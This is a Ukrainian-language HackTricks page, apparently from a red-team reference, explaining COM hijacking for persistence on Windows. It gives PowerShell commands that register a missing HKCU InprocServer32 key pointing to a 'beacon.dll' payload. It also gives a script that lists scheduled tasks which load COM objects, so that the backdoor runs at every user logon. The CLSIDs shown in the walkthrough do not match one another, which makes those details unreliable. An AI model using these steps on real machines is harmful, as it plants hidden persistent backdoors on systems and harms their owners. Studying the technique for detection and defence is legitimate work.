COM Hijacking

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Пошук неіснуючих компонентів COM

Оскільки значення HKCU можуть бути змінені користувачами, Захоплення COM може бути використане як постійний механізм. За допомогою procmon легко знайти шукані реєстри COM, яких не існує, які зловмисник може створити для постійності. Фільтри:

  • Операції RegOpenKey.

  • де Результат - NAME NOT FOUND.

  • і Шлях закінчується на InprocServer32.

Після того, як ви вирішили, який неіснуючий COM імітувати, виконайте наступні команди. Будьте обережні, якщо ви вирішили імітувати COM, який завантажується кожні кілька секунд, оскільки це може бути зайвим.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Вразливі компоненти COM планувальника завдань, які можна перехопити

Завдання Windows використовують власні тригери для виклику об'єктів COM, і оскільки вони виконуються через Планувальник завдань, легше передбачити, коли вони будуть запущені.

# Показати COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Ім'я завдання: " $Task.TaskName
Write-Host "Шлях завдання: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Приклад виводу:
# Ім'я завдання:  Приклад
# Шлях завдання:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [більше подібного до попереднього...]

Перевіривши вивід, ви можете вибрати той, який буде виконуватися кожного разу, коли користувач увійде в систему, наприклад.

Тепер, шукаючи CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} в HKEY_CLASSES_ROOT\CLSID та в HKLM та HKCU, зазвичай ви побачите, що значення не існує в HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Потім ви можете просто створити запис HKCU, і кожного разу, коли користувач увійде в систему, ваш backdoor буде запущений.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated